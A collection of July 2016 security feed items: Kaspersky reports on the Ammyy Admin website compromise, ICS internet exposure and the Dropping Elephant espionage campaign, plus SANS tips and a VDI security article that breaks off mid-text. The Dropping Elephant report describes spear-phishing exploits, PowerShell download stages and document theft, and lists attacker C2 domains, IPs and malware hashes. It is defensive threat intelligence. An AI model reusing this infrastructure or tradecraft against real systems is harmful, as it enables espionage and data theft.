Interestingly, on June 1 the content of the dropper changed. On that very day, it was reported that the creators of Lurk had been arrested, and the website began distributing a new malicious program, Trojan-PSW.Win32.Fareit, in place of Lurk; this new Trojan was also designed to steal personal information. This suggests the malicious actors behind the Ammyy Admin website breach are offering the chance to buy a place on their Trojan dropper in order to spread malware from ammyy.com.

We informed Ammy Group of the new attack and the new malware being distributed from the website ammyy.com.

Kaspersky Lab’s products proactively protect users from the installation of the malicious dropper program (as well as from the piggybacked programs Trojan-Spy.Win32.Lurk and Trojan-PSW.Win32.Fareit), and block it from being downloaded from the website ammyy.com.

MD5

D93B214C093A9F1E07248962AEB74FC8
FA3F9938845EC466993A0D89517FE4BD
C6847F43C3F55A9536DDCD34B9826C67
5811244C03A0A074E56F44B545A14406
EF231C83CA2952B52F221D957C3A0B93
CFD5093CB2BB3349616D9875176146C1
2F3259F58A33176D938CBD9BC342FDDD
186789B35DFCDFEBFE7F0D4106B1996F
E483C477F78119AF953995672E42B292
B084C2099CE31DD8D3E9D34F31CD606D

Plugins

SANS Tip of the Day - Mon, 07/18/2016 - 01:00
Every plugin or add-on you install in your browser can expose you to more danger. Only install the plugins you need and make sure they are always current. If you no longer need a plugin, disable or remove it from your browser via your browser's plugin preferences.

Detecting Fraud

SANS Tip of the Day - Tue, 07/12/2016 - 01:00
Review your bank, credit card and financial statements regularly to identify unauthorized activity. This is one of the most effective ways to quickly detect if your bank account, credit card or identity has been compromised.

Industrial cybersecurity threat landscape

Malware Alerts - Mon, 07/11/2016 - 04:58

 Download ICS availability statistics (PDF version)

 Download ICS vulnerabilities statistics (PDF version)

Overview

Industrial control systems (ICS) surround us: they are used in electric, water and wastewater, oil and natural gas, transportation, chemical, pharmaceutical, pulp and paper, food and beverage, and discrete manufacturing (e.g., automotive, aerospace, and durable goods). Smart cities, smart houses and cars, medical equipment – all of that is driven by ICS.

Expansion of the Internet makes ICS easier prey to attackers. The number of ICS components available over the Internet increases every year. Taking into account that initially many ICS solutions and protocols were designed for isolated environments, such availability often provides a malicious user with multiple capabilities to cause impact to the infrastructure behind the ICS due to lack of security controls. Moreover, some components are vulnerable themselves. The first available information about vulnerabilities in ICS components is related to 1997, only two vulnerabilities were published that year. Since then the number of vulnerabilities significantly increased. Over the past five years this index has increased from 19 vulnerabilities in 2010 to 189 vulnerabilities in 2015.

Sophisticated attacks on ICS systems are not somewhat new anymore. It is worth remembering an incident in 2015 in Ivano-Frankivsk, Ukraine where around a half of houses were left without electricity because of a cyber-attack against the Prykarpattyaoblenergo power company, and it was only one of multiple victims of the BlackEnergy APT campaign.

Another notable incident, happened in 2015 and described in Verizon Data Breach Digest, is an attack on Kemuri Water Company’s ICS infrastructure, when intruders infiltrated a water utility’s control system and changed the levels of chemicals being used to treat tap water. The intrusion was performed through a vulnerable externally available system, that managed programmable logic controllers (PLCs) regulating valves and ducts that controlled the flow of water and chemicals used to treat it through the system.

Also in 2015 there were other ICS-related incidents, such as attacks on a steel mill in Germany and on the Frederic Chopin Airport in Warsaw.

In this research we provide an overview of the current situation with ICS security worldwide from the point of view of vulnerabilities, and vulnerable ICS components exposed to the Internet.

Analysis Approach

The research is focused on two areas: Vulnerabilities and ICS Availability over the Internet. Vulnerabilities information gathering was carried out based on open sources, such as Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) advisories, NVD/CVE, SCADA Strangelove, Siemens Product CERT and other information available online. Severity levels for the vulnerabilities were assessed based on a Common Vulnerability Scoring System (CVSS) of the versions 2 and 3. CVSS v2 was used to compare vulnerability statistics in the years 2014 and 2015, and it was also used for any vulnerabilities that didn’t have CVSS v3 score assigned.

In the second part of research results (ICS Availability over the Internet) we used a passive approach for analysis based on information from the Shodan search engine. To identify ICS systems in Shodan search we used a fingerprint knowledgebase, containing about 2000 records and allowing to identify product vendors and versions by banners.

Main Findings
  • The number of vulnerabilities in ICS components keeps growing. With increased attention to ICS security over the last several years, more and more information about vulnerabilities in these systems is becoming public. However, vulnerabilities themselves could be present in these products for years before they are revealed. In total, 189 vulnerabilities in ICS components were published in 2015, and most of them are critical (49%) or have medium severity (42%).
  • ICS vulnerabilities by year

  • Vulnerabilities are exploitable. For 26 of the vulnerabilities published in 2015, exploits are available. Besides, for many vulnerabilities (such as hard-coded credentials) an exploit code is not needed at all to obtain unauthorized access to the vulnerable system. Moreover, our ICS security assessment projects show that ICS are often considered by their owners as a “black box”, so default credentials in ICS componenets are often not changed and could be used to gain remote control over the system. The SCADAPASS project of the SCADA Strangelove team provides a representation of known default ICS credentials. Currently information on 134 ICS components of 50 vendors is available.
  • ICS vulnerabilities in 2015 by risk level (CVSS v.2 and CVSS v.3)

  • ICS vulnerabilities are widely diversified. New vulnerabilities were found in 2015 in the ICS components of different vendors (55 different manufacturers) and types (HMI, electric devices, SCADA, industrial network devices, PLCs and multiple others). The largest amount of vulnerabilities were found in Siemens, Schneider Electric and Hospira devices. Vulnerabilities in ICS components have a different nature. The most widespread types are buffer overflows (9% of all detected vulnerabilities), use of hard-coded credentials (7%) and cross-site scripting (7%).
  • Not all of the vulnerabilities found in 2015 are fixed. Patches and new firmware are available for 85% of the published vulnerabilities, the rest are not fixed or are only partially fixed for different reasons. Most of the unpatched vulnerabilities (14 out of 19) are of high level risk. These unpatched vulnerabilities pose significant risk to the owners of the corresponding systems, especially for those who, due to inappropriate network configuration management, have their vulnerable ICS systems exposed to the Internet. Examples include the 11,904 remotely available SMA Solar Sunny WebBox interfaces that are under risk of compromise though hard-coded passwords. Although for Sunny WebBox this number has significantly reduced since 2014 (when over 80 thousand available components were found), the amount is still high, and the unfixed hardcoded credentials issue (published in 2015) is now putting these systems under a much higher risk than was previously thought.
  • ICS patching

  • Numerous ICS components are available via the Internet. 220,668 ICS components were discovered by the Shodan search engine. They are located on 188,019 hosts in 170 countries. Most of the remotely available hosts with ICS components are located in the United States (30.5%) and Europe. Among European countries Germany has a leading position (13.9%) followed by Spain (5.9%). The available systems are of 133 different vendors. The most widespread ones are Tridium (11.1%), Sierra Wireless (8.1%), and Beck IPC (6.7%).
  • TOP 20 countries by ICS availability

  • Insecure protocols are widely used by remotely available ICS components. There is a number of protocols, which are open and insecure by design, such as HTTP, Niagara Fox, Telnet, EtherNet/IP, Modbus, BACnet, FTP, Omron FINS, Siemens S7 and many others. They are used on 172,338 different hosts, which corresponds to 91.6% of all the externally available ICS devices found. This provides an attacker with additional ways to compromise the devices by performing man-in-the-middle attacks.
  • TOP 15 protocols used by externally available ICS components

  • Multiple vulnerable ICS components are externally available. We found 13,033 vulnerabilities on 11,882 hosts (6.3% of all hosts with externally available components). The most widespread revealed vulnerabilities are Sunny WebBox Hard-Coded Credentials (CVE-2015-3964), and critical vulnerabilities CVE-2015-1015 and CVE-2015-0987 in Omron CJ2M PLC. Combining these results with statistics of usage of insecure protocols, we were able to estimate the total number of vulnerable ICS hosts as 172,982 (92%).
  • TOP 5 vulnerabilities on ICS components

  • Multiple industries are affected. We found that at least 17,042 ICS components on 13,698 different hosts in 104 countries likely belong to large companies, and availability of these components from the Internet is likely related with significant risks. Among owners we were able to identify 1,433 large organizations, including ones belonging to the following industries: electricity, aerospace, transportation (including airports), oil and gas, metallurgy, chemical, agriculture, automotive, utilities, drinks and food manufacturing, construction, liquid storage tanks, smart cities, and ICS vendors. There are also research and education entities, government institutions (including police), medical centers, financial organizations, resorts, hotels, museums, libraries, churches and multiple small businesses among identified owners of remotely available ICS. The number of vulnerable externally available ICS hosts, which likely belong to large organizations, is 12,483 (91.1%), where 453 hosts (3.3%), including hosts belonging to energy, transportation, gas, engineering and manufacturing organizations, drink and foods manufacturing, energy and transportation organizations, contain critical vulnerabilities.

ICS availability by vendor

The above results are only lower bound estimations, and real number of available ICS components associated with significant risks could be much higher.

Conclusion

Where protection is concerned, the isolation of critical environments can no longer be regarded as a sufficient security control for ICS. The business requirements of the 21st century often make it necessity to integrate ICS with external systems and networks. In addition, the capabilities, motivations and number of threat actors focusing on ICS environments are increasing. From infected hard drives or USB sticks, to unauthorized connections from ICS networks to the Internet through personnel smart phones or modems, and from infected distributive kits obtained from vendors, to a hired insider – all of these methods are available to highly-skilled intruders planning an attack on a physically and logically isolated ICS network.

Nowadays, ICS owners should be aware of modern vulnerabilities and threats, and actively improve the security of their ICS environments based on this knowledge. Here, active vendor support is crucial for the prompt identification and remediation of vulnerabilities in ICS products, as well as for sharing workarounds to protect systems before patches are released.

The specifics of ICS – that its cybersecurity is closely tied with physical safety – often receives an attitude opposite to the demandable treatment in such conditions. Small and medium businesses, as well as individuals, completely rely on vendors when it comes to security of the Internet of Things. The consumers don’t go beyond simple basic steps from device manuals, thus obtaining ready-to-work and easily accessible, but also vulnerable devices. On the contrary, in the enterprise area, companies understand the high risks, which are related with incorrect configuration of ICS environment. However, because of that system owners often consider ICS devices as “black-boxes”, and have a dread to make changes in the environment, including cybersecurity enhancement.

The findings of this research are an additional reminding that the “Security through Obscurity” principle cannot serve as a good basis to achieve effective protection from modern attacks, and that industrial control systems security should not be treated superficially in favor of safety, especially because the security and safety in this area are inextricably connected.

Anti-Virus

SANS Tip of the Day - Mon, 07/11/2016 - 01:00
Make sure you have anti-virus software installed on your computer and that it is automatically updating. However, keep in mind that no anti-virus can catch all malware; your computer can still be infected. That is why it's so important you use common sense and be wary of any messages that seem odd or suspicious.

The Dropping Elephant actor

Malware Alerts - Fri, 07/08/2016 - 01:57

Dropping Elephant (also known as “Chinastrats”) is a relatively new actor targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

Overall, the activities of this actor show that low investment and ready-made offensive toolsets can be very effective when combined with high quality social engineering. We have seen more such open source toolset dependency with meterpreter and BeEF, and expect to see this trend continue.

The Attack Method: Infection Vector

Dropping Elephant uses two main infection vectors that share a common, and fairly elaborately maintained, social engineering theme – foreign relations with China.

The first approach involves spear-phishing targets using a document with remote content. As soon as the user opens the document, a “ping” request is sent to the attackers’ server. At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable. The Word document usually exploits CVE-2012-0158. Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352.

Once the payload is executed, an UPX packed AutoIT executable is dropped. Upon execution, this downloads additional components from the attackers’ servers. Then the stealing of documents and data begins.

The second approach involves capturing victims through watering hole attacks. The actor created a website that downloads genuine news articles from other websites. If a website visitor wants to view the whole article they would need to download a PowerPoint document. This reveals the rest of the article, but also asks the visitor to download a malicious artifact.

The two main infection vectors are supported by other approaches. Sometimes, the attackers email out links to their watering hole websites. They also maintain Google+, Facebook and twitter accounts to develop relevant SEO and to reach out to wider targets. Occasionally, these links get retweeted, indiscriminately bringing more potential victims to their watering holes.

The Attack Tools 1. Malware Analysis

The backdoor is usually UPX packed but still quite large in size. The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user’s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network.

Generally speaking, backdoors download additional malware in the form of encrypted or packed executables/libraries. But, in the case of Dropping Elephant, the backdoor downloads encoded blobs that are then decoded to powershell command line “scripts”. These scripts are run and, in turn download the additional malware.

One of the more interesting malware samples downloaded is the file-stealer module. When this file-stealer is executed, it makes another callback to the C2 server, downloading and executing yet another malware sample. It repeatedly attempts to iterate through directories and to collect files with the following extensions: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, and pdf. These files are then uploaded to the C2 server.

Also interesting are the resilient communications used by this group. Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands.

2. C2 Analysis

In many cases it was very difficult to get a good overview of the campaign and to find out how successful it is. By combining KSN data with partner-provided C2 server data, we were able to obtain a much fuller picture of the incident.

We examined connections and attack logins to this particular C2. As it turned out, the attackers often logged in via a VPN, but sometimes via IPs belonging to an ordinary ISP in India. We then looked at the time the attackers were active, of which you can find an image below.

Victim Profile and Geography

We also wanted to get a better idea of the geolocation of most visitors. Analysis of the image provided access counts and times, along with the IP of the visiting system.

Noteworthy are the many IPs located in China. This focus on China-related foreign relations was apparent from the ongoing social engineering themes that were constant throughout the attacks. The concentration of visits from CN (People’s Republic of China) could be for a variety of reasons – diplomatic staff are visiting these sites from their CN offices, CN academics and analysts are very interested in researching what they believe to be CN-focused think tanks, or some of the IPs are unknown and not self-identifying as bots or scrapers. Regardless, because we were able to determine that multiple targets are diplomatic and governmental entities, these foreign relations efforts are likely to represent the main interest of the attackers.

Conclusion

Campaigns do not always need to be technically advanced to be successful. In this case, a small group reusing exploit code, some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015.

Our analysis of the C2 server confirmed the high profile of most victims, mainly based in the Asian region and specially focused on Chinese interests. Actually, some hints suggest the group has been successful enough to have recently expanded its operations, perhaps after proving its effectiveness and the value of the data stolen.

This is quite worrying, especially given the fact that no 0 days or advanced techniques were used against such high profile targets. Simply applying software patches will prevent attacks based on old exploits, as well as training in the most basic social engineering attacks.

However, it should be noted that in this case Microsoft´s patch for exploit CVE-2014-1761 just warns the user not to allow the execution of the suspicious file.

Dropping Elephant artifacts are detected by Kaspersky Lab products as:
Exploit.Win32.CVE-2012-0158.*
Exploit.MSWord.CVE-2014-1761.*
Trojan-Downloader.Win32.Genome.*
HEUR:Trojan.Win32.Generic

As usual Kaspersky Lab actively collaborates with CERTs and LEAs to notify victims and help to mitigate the threat. If you need more information about this actor, please contact intelreports@kaspersky.com

More information on how Kaspersky Lab technologies protect against such cyberespionage attacks is available on Kaspersky Business blog.

Indicators of Compromise Backdoors

eddb8990632b7967d6e98e4dc1bb8c2f
1ec225204857d2eee62c78ee7b69fd9d
d3d3a5de76df7c6786ed9c2850bd8405
05c5cc0e66ad848ec540fcd3af5853b1
0839b3f0a4b28111efc94942436041cb
0cf4acddfaa77bc66c44a687778f8695
233a71ea802af564dd1ab38e62236633
39538c8845bd0b4a96c4b8bc1e5d7ea3
54c49a6768e5f8551d0918e63b200775
7a662144f9d6bada8aea09b579e15562
aa755fc3521954b10fd65c07b423fc56
d8102a24ca00ef3db7d942912765441e
e231583412573ecabfd05c4c0642a8b9
eddb8990632b7967d6e98e4dc1bb8c2f
fb52fbd9b3b465453276f42c46350c25

Exploit documents

d69348794e85ddea6a5f68b85f9bf47b 10_gay_celebs.doc
9f9824e9a4d7d3073aebbcc781869660 1111_v1.doc
d1c864ae8770ae43a0e59a31c0788dc2 13_Five_Year_Plan_2016-20-1.pps
9a0534772ac23ff64e3c85b18fbec596 2015nianshijiexiaoxuanshou.doc
a46d44e227b49d2075730610cfec0b2e 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_1.doc
79afb3f44172447015578b8064c1dda0 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_2.doc
6abf60e9e2f6e3fa4c8020e1b2ef2867 ABiggerBolderChinain2016_1.doc
89963d5aac8441b0febbe5d5a0ab7629 ABiggerBolderChinain2016_2.doc
d79e1d6302aabbdf083ba89a7c2f34fc aeropower.pps
90af176bfdf248d2899b49316458e4b6 australia_fonops_1.pps
24c722f3d0770ede82fa3d6b550098b3 australia_fonops_2.pps
08a116efce7d947257ce94fc8f3e276e aviation_1.pps
0ae8f01b9ba0394f5e68536574076aa1 aviation_2.pps
0d1bdb45bac3b09e28e4f0cb09c97194 beauty3.pps
d807fb3cb1a0687e152d288171ab9b59 beauty6.pps
f017c65c7b5d14df11c5e0e4f0406562 CHINA_FEAR_US_3.pps
3cd8e3e80a106b0590a7b5eedddf4715 CHINA_FEAR_US_6.pps
a1940b31af27139a13dff852cb012a22 ChinainSyria.doc
e7ba5c209635607b2b0e38a00a822953 chinamilstrat1.doc
d273f090b96eca7c93387a03d9527d9b chinamilstrat2.doc
17d5acf49a4d65a4aacc362576dbaa12 chinamilstrength.pps
3c68ca564595e108920a0f105728fded China_Response_NKorea_Nuclear_Test1.pps
8c21aee21b6bfa12ecf6070a4532655a China_Response_NKorea_Nuclear_Test2.pps
533ce967d09189d27f38fe6ed4711099 chinascyberarmy2015_1.pps
9c9e5d09699821c53d68e957044ec6e8 chinascyberarmy2015_2.pps
c4f5d6ed36c3d51cb1b31f20922ce880 ChinasMilitaryIntelligenceSystemisChanging_1.doc
1fb7eece41b964517d5224b57073c5d4 ChinasMilitaryIntelligenceSystemisChanging_2.doc
1e620679c90563d46aa349e991d2e0f2 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.doc
a0177d2fd49d835244028e98449c77a5 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.pps
1e620679c90563d46aa349e991d2e0f2 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.doc
70c5267c56ded521c6f674a6a6649f05 CHINA’S_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.pps
a1940b31af27139a13dff852cb012a22 ChinatoReceive_S-400_Missiles.doc
77ff734bc92e853b92595ddf999ee1ec China_two_child_policy_will_underwhelm1.doc
8c875542def907312fd92d10746c230c China_two_child_policy_will_underwhelm1.pps
e98b1ed80ba3a3b6b0809f04536e9753 ChinaUS_1.pps
36581da1d10ba6382a63e7046c21dd8d ChinaUS_2.pps
9a7e499d7abfcbe7fb2a78cf1d7a2f10 chinesemilstrat_1.pps
40ace1c9394c95d7e9e1e80f24bd1a73 chinesemilstrat_2.pps
71d59036f84aba8e60aa8785e3883372 cppcc_1.pps
04aff7c333055188219e290e58313d78 cppcc_2.pps
dffe28c9c4dc9e2e865e3237f4bc38c4 Dev_Kumar_Sunuwar.doc
ae27773e49fea122e3f8ce7a27e6c555 election.pps
86edf4fab125d8ccba85138f43b24def enggmarvels_1.pps
a8022594e81c74b22abca772eb89657c enggmarvels_2.pps
bc08d1bddf72369adceffbfc36f848df fengnew33.pps
2c70e1f152e2cb42bb29aadb66ece2ec fengnew36.pps
3a2be243b0c78e8689b34e2415d5e479 fengnew63.pps
2158cb891a8ecbaaa70a641a6529b787 fengnew66.pps
a1940b31af27139a13dff852cb012a22 final.doc
a1940b31af27139a13dff852cb012a22 FinancialCrisisChina.doc
884f76542f3972f473376c943daeaf8f futuredrones_1.pps
098c74c23ed73ac7bf7581fec2eb088d futuredrones_2.pps
915e5eefd145c59677a2a9eded97d114 gaokaonewreforms_1.doc
57377233f2a946d150115ad23bbaf5e6 gaokaonewschedule_1.pps
1c5b468489cf927c1d969484ddbdd8ea gaokaonewschedule_2.pps
fa2f8ec0ab22f0461e860394c6b06a68 harbin_1.pps
9a0534772ac23ff64e3c85b18fbec596 Heart_Valve_Replacement.doc
4ea4142bab2b90e5779df19616f7d8ca Implication_China_mil_reforms_1.doc
8a350d3f6fb359377d8939e1a2e033f3 Implication_China_mil_reforms_1.pps
f5e121671384fbd43534b8515c9e6940 ISIS_Bet_Part1.doc
3a83e09f1b751dc08f4b719ed51c3fbc ISIS_Bet_Part2.doc
8a1a10dcc6e2ac6b40a86d6ed20cf1bd japan_pivot_1.pps
72c05100da6b6bcbf3f96fee5cf67c3f japan_pivot_2.pps
ebe8efbad7f01b76465afaf474589c2f jtopcentrecomn.pps
165ae88945852a37fca8ec5224e35188 korea1.pps
38e71afcdd6236ac3ad24bda393a81c6 militarizationofsouthchinasea_1.pps
61f812a1924e6d5b4307313e20cd09d1 militarizationofsouthchinasea_2.pps
4595dbaeec06e3f9b466d618b4da767e MilitaryReforms1.pps
1de10c5bc704d3eaf4f0cfa5ddd63f2d MilitaryReforms2.pps
ce1426ffe9ad4439795d269ddcf57c87 MilReform_1.doc
1e620679c90563d46aa349e991d2e0f2 MilReform_2.doc
8d2f4e691f2e318f7162a3a5d397b29c MilReforms_1.pps
631d44688303be28a1b825aa1c9f3202 MilReforms_2.pps
fe78c037844ad08a9a79c85f46e68a67 my_lovely_pics_3.pps
d5a976cc714651711c8f067dd5e00709 my_lovely_pics_6.pps
657e9333a052f593b7c51c58917a1b1f my_photos_3.pps
e08bbed0aa4b21ae921d4dc5350789c7 my_photos_6.pps
141a8b306af8087df4feee15f571eb59 nail_art_3.pps
122d7dff33174e532063a16ae526208d nail_art_6.pps
d049a6f9e527a72a4b917eec1acbd6f9 netflix1.doc
09a478efd8c5aeef3a5395e3988f5059 netflix1.pps
d791f8d9495d5d5df0cedb8b27fb3b49 netflix2.doc
e7b4511cba3bba6983c43c9f9014a49d netflix2.pps
d01be8c3c027f9d6f0d93542dfe7ca97 nianshijiexiaoxuanshou2015.doc
040712ba00b32cc19e1938e14e732f59 North_Korea_Nuclear_Test_1.doc
3b0ca7dafb94333234e4f1330a1699da North_Korea_Nuclear_Test_2.doc
1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_1.doc
6f327b93279f3ce39f4fbe7a610c3cd2 Obama_Gift_China_1.pps
1e620679c90563d46aa349e991d2e0f2 Obama_Gift_China_2.doc
58179b5cf455e2bcac396c697cd43050 Obama_Gift_China_2.pps
fa94f2843639f7afec3c06799a8d222e PAK_CHINA_NAVAL_EXERCISEn.doc
4d2bde1b3985d1e1088801d92d1d6ca9 pension_1.pps
9a0534772ac23ff64e3c85b18fbec596 Reconciliation_China’s_PLAN.doc
2c9b4d460e846d5814c2691ae4591c4f Stewardess1.doc
dab037a9e02978bcd275ddaa15dab01d stewardess1.pps
007c9c29786d0af81caf437fe626c6fe Stewardess2.doc
8aae16b5e64445703d939bc7923ae7b7 stewardess2.pps
036a45983df8f81bf1875097fc026b04 syria_china.pps
a8b9a32723452d27257924a737ec1bed TaiwanDiplomaticAccess_1.pps
f16ee3123d5eb21c053ac95e7cd4f203 TaiwanDiplomaticAccess_2.pps
71ce64fee9cd323828a44e9228d2736b tibetculture_1.pps
b5e5e428b31a8affe48fdf6b8a253dc6 tibetculture_2.pps
d64efa0b8c091b8dbed3635c2b711431 underestimatingUS_1.pps
543fe62829b7b9435a247487cd2a9672 underestimatingUS_2.pps
807796263fd236a041f3633ac578140e UruguayJan-Jun_1o.pps
98e7dc26531469e6b968cb422371601a uruguayjan-jun_1.pps
7eb1b6fefe7c5f86dcc914056928a17b UruguayJan-Jun_2o.pps
7660c6189c928919b0776713d2755db2 uruguayjan-jun_2.pps
7c4c866cf78be30229b75a3301345f44 UruguayJul-Dec_1o.pps
a4fcf3a441865ae17f2c80ff7c28543d uruguayjul-dec_1.pps
dba585f7d5fc51566c663bd738de2c33 UruguayJul-Dec_2o.pps
f7905a7bd6483a12ab36071363b012c3 uruguayjul-dec_2.pps
409e3368af2add71265d2811aa9d6817 US_China.doc
5a89f11f4bb3b5637c731e206f807ff7 us_srilanka_relations_1.pps
7f50d3f4eabffe7225a2d5f0c91009c8 us_srilanka_relations_2.pps
3d01d2a42450064c55574d853c086f9a WILL_ISIS_INFECT_BANGLADESH.doc
1538a412fd4035954237c0b4c135fcba WILL_ISIS_INFECT_BANGLADESH.pps
eb0b18ecaa6f40e48970b08f3a3e6803 zodiac_1.pps
da29f5eeb39332a850f04be2906315c1 zodiac_2.pps

Domains and IPs

http://www.epg-cn[.]com
http://chinastrat[.]com
http://www.chinastrats[.]com
http://www.newsnstat[.]com
http://cnmilit[.]com
http://163-cn[.]org
alfred.ignorelist.com
http://5.254.98[.]68
http://43.249.37[.]173
http://85.25.79[.]230
http://10.30.4[.]112
http://5.254.98[.]68
http://microsofl.mooo.com
ussainbolt.mooo.com
ussainbolt1.mooo.com
updatesys.zapto.org
updatesoft.zapto.org

C2 redirectors (with obfuscated comments)

http://feeds.rapidfeeds.com/61594/
http://wgeastchina.steelhome.cn/xml.xml
http://hostmyrss.com/feed/players
http://feeds.rapidfeeds.com/81908/
http://feeds.rapidfeeds.com/79167/
http://feeds.rapidfeeds.com/61594/

VDI: Non-virtual problems of virtual desktop security, and how to solve them for real

Malware Alerts - Thu, 07/07/2016 - 06:55

Introduction

Virtualization marches victoriously across the globe, adding to its list of champions not only individual IT-specialists and businesses, but even whole sections of the IT industry. In fact, it’s barely possible to find a data center with only physical servers on board: both electricity and physical space are far too expensive nowadays to be used so inefficiently.

Meanwhile, the possibility of hosting multiple servers on a single physical machine is just one benefit among all those offered by virtualization.

Second only to servers, the most important application of today’s virtualization technologies is probably Virtual Desktop Infrastructure, or VDI. While using the same concept of multiple computers hosted inside a single physical ‘body’, its purpose is entirely different from server virtualization: to substitute a heterogeneous and cumbersome ‘zoo’ of physical desktops with homogenous and easily controlled virtual environment.

As opposed to familiar – and age-old – Terminal Services infrastructure, offering shared access to the same machine running a single instance of an operating system, VDI is about ‘genuine’ virtualization. Every single virtualized workstation has its own set of virtual hardware, OS and applications – and its own range of potential security issues. There tends to be a much higher probability, too, of encountering security issues with VDI than with virtualized servers. This is especially true in scenarios which include access to the ‘Big Internet’, with its landscape of threats and hordes of marauding cyber-predators, always hungry for other people’s data and money. And God help you, if you buy into the myth about virtual environments being inherently more secure than physical ones! The exact opposite is true: not only they are similar in terms of threat levels; virtual environments possess some specifics that actually make the task of securing them even more complex.

This is what we are going to talk about here: about VDI myths, specifics – and how to provide proper security for corporate VDI, without compromising any of its many benefits.

VDI: Pros and Cons The Pros

Before plunging deep into problems associated with VDI, it might be useful to remind ourselves of the benefits that have earned the technology the undying love of both sysadmins and ITSec specialists.

  • VDI is effectively agnostic of the end-user’s hardware and software. The only requirement for any client device, be it a regular PC, a smartphone or a thin station, is the ability to run a client application (in some cases, even a simple web browser will do).
  • VDI offers a considerably higher level of data security. With all the valuable information stored deep inside the corporate infrastructure or in a datacenter, many data loss scenarios, like device theft or physical loss, are ruled out.
  • VDI environments are highly flexible in management terms: every virtualized workstation and application can be deployed and controlled with an ease and speed that’s unattainable for purely physical infrastructures. With finely tuned working practices, it may not even be necessary to solve any problems associated with a given virtual machine: just killing the VM and spawning it back from the template can be enough. All user data can then be re-accessed from centralized storage once the user logs back in.

This list of VDI benefits is clearly incomplete. But even these key points are enough for some businesses requiring high mobility accompanied by strong data security to embrace the concept with eagerness. Typical examples are healthcare, insurance and, in some regions, banking; business processes taking place in these industries are highly regulated and easily formalized, which greatly simplifies the task of VDI implementation.

The Cons

Unfortunately, no solution consists entirely of benefits – and VDI has its range of nuances and limitations to be mindful of.

  • VDI is highly sensitive to resource consumption. Virtual environments are designed so that users can perform tasks in a way that’s very similar to using regular PCs. But, even when a limited number of software titles are used for a limited number of tasks, some can not only be resource-hungry, but can have a considerable adverse impact on VDI performance in particular. Few things are more demotivating to a workforce than system lags and general unresponsiveness; as well as unnerving and irritating people, this can easily kill off all the efficiency gains delivered by VDI deployment. So it’s necessary to consider and to constantly monitor all the influences on system responsiveness – including the impact of security solutions.
  • VDI works better with formalized business processes. VDI is most easily justified when business processes are predictable, and all the applications used are known. If this is not the case, resource consumption and overall performance calculations can suddenly prove misleading or just plain wrong. The threat to corporate security posed by the unrestricted use of unknown applications, or course, presents a threat to corporate security, as well as compromising the accuracy of performance predictions.
  • VDI presents complex requirements for deployed security solutions. As opposed to attacks on data-storing servers and similar scenarios where the main target is remotely accessible data, virtualized workstations are subject to practically the same spectrum of threats as those targeting physical machines. These threats can include, for example, ‘bodiless’ malware using exploits to inject malicious code into legitimate processes and running entirely in the system’s volatile memory. Unfortunately, the majority of well-known specialized solutions claiming to cater for the specific requirements of virtualized environments offer protection at file system level only, which is far from adequate for VDI defense.

Of course, installing a security solution designed for physical desktops, perhaps modified to be ‘virtualization-friendly’, is an option. But this may well result in considerable increases in resource consumption, drastically reducing VDI efficiency. These solutions involve each virtual machine (VM) carrying its own set of engines and databases, each updating independently from its neighbors. In a worst case scenario, a solution’s failure to demonstrate sufficient ‘virtualization awareness’, can result in ‘activity storms’, where multiple simultaneous updates or scanning processes create an avalanche of increased resource consumption, bringing the entire host to a grinding halt.

Myths and Threats

Despite virtual desktops being very similar to their physical counterparts in terms of functionality, the misconception that they are less susceptible to infection is quite widespread amongst users and even IT professionals. Some of the arguments used may look like these:

  • Malware itself is afraid of virtual machines, suspecting them of being sandbox systems or researchers’ machines. So, when the malware detects that it’s being launched in a VM, it won’t activate.
  • In a properly configured VDI, the VM itself is of no value. If an infection strikes, it’s just a matter of killing off the infected machine, with no need to bother about the malware itself.

Let’s see what stands behind these assertions, and how safe it is to base your approach to VDI security on them.

VM as Malware’s Scarecrow

This argument is based on something that’s actually quite true: many malware specimens do check for signs that they’re being launched inside a VM. But what happens next is not so predictable. Malware creators are keenly aware that these VMs are usually NOT sandboxes and can contain valuable data – or can serve as entry points to entire IT networks. So they’re rapidly learning to tell sandboxes from less sophisticated VMs. For this, an extensive range of indicators can be used: previously investigated IP addresses of researchers’ systems, typical user and computer names, unnecessary system components missing or removed to reduce resource usage – and so on. There are also more advanced tricks and indicators to detect sandboxes, such as leaving some kind of token in the file system or repeated communications with C&C throughout the whole attack cycle (which won’t happen during sandboxing) etc. And there are also directly controlled targeted attacks, during which the command for proceeding (or withdrawing) is issued by living people, based on acquired intelligence.

The bottom line is this: some malware, and only some, may refuse to start in a VM. It would be extremely foolish to rely on this when building a security system for corporate VDI (which is even more susceptible to infection than server VMs).

No machine – no infection?

The main flaw in this argument lies in the perception of the infected machine as an isolated instance. Any infection can involve multiple VMs residing in the same network segment: if just one contracts malware, especially given the lightning-fast speed of a virtualized network, the contagion can spread like wildfire. It doesn’t matter if the original infected machine is killed – the process of cross-infection within a network segment with sufficient vulnerable nodes can theoretically go on forever. Or, more precisely, it can go on until the moment when the whole network segment shuts down entirely.

And another thing. With the initial infected machine consigned to oblivion, traces of the initial infection – all too precious for restoring a full picture of the attack during investigations – will be lost forever.

